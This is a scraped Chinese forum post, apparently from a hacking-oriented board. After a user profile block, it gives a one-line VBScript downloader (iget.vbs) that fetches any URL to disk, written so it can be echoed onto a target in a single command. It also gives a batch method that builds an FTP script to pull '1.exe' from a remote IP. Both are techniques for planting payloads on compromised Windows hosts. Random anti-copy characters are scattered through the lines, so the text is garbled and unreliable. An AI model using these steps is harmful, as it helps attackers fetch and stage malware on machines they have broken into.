- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法: $ V( H9 f1 p& E l8 u' J3 W( x
1.iget.vbs一次写入
3 Y- [) c- k% }& ~在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写 @1 B3 E# `2 J( {
5 n* h% i5 D& `$ U5 ~+ m$ WSet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
4 h& y% Z2 Y* q d( \5 R9 \6 V; ^/ K3 R' o1 E+ V1 {) \
这样我们可以一次echo成功,echo版本:
. S7 d* ?" _: M* ]2 A: w; c/ d1 q/ i2 ~9 V' l9 j, g
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
: j( z; |1 C/ F k2 G: D* N/ c0 O" l
' i, S5 j2 p1 d( p- [( [2.bat调用ftp脚本的写法(by envymask) 3 Q4 S h% Z" `) d" [7 `" W1 Z X
# j$ J2 S( @. Y0 ]+ w) Y, s A
echo ftp>1.vbs ) Y# b2 y, _! ~7 S( @# p3 `/ t0 u9 H9 {
echo open ip>2.vbs
- i! x0 l* E2 ^5 Q: W- necho u>3.vbs
, @9 j( y R, n( ^/ ^1 X6 Qecho s>4.vbs . ]; x4 y5 R5 g8 i9 C$ J
echo binary>5.vbs
, J! e$ n$ |# [echo get 1.exe>6.vbs
, l+ s7 G8 m% |6 L: ^echo bay>7.vbs 9 [. X0 b+ x) t* B
& G* ^2 E% a" Q- i3 Bcopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs : t2 ]/ \/ z- c; _) q
</P> |
zan
|